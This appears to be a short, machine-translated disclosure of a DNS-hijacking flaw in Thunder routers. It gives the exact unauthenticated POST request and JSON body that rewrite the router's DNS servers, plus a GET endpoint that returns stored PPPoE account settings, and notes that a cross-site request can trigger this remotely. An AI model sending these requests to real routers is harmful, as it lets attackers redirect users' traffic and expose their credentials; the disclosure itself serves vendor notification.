Thunder route DNS modification hijacking Vulnerability

Thunder route DNS modification hijacking Vulnerability

The DNS modification and hijacking vulnerability of thunder routes. If you don't fill it up, wait for the black hat hacker to hack you or your competitors to speculate.

POST address: http://www.peiluyou.com: 9999/setconnectionsettings? _ Act _ = setConnectionSettings & pdtid = 3

POST content: data = {"curType": "1", "pppoe": {"autodns": "false", "dns1": "8.8.8.8", "dns2 ": "8.8.4.4", "account": "xxxxxxx", "password": "xxxxxx "}}

Return Value after successful modification: var userData = {"errorCode": "0 "};



Modify conditions need to contain the original ADSL bandwidth configuration information, can be through the http://www.peiluyou.com: 9999/getconnectionsettings? _ Act _ = getConnectionSettings.

Using B/S embedded cross-site code, you can remotely modify DNS to cause the hijacking vulnerability.

I only prove the feasibility of the vulnerability, and the vendor should not think that the problem is not small. CCTV is waiting for your contribution!

 

 

Vulnerability repair suggestions:

Which one do you need for simplicity, convenience, and security? You are a vendor and you want to make simple and convenient products, but what users want is security.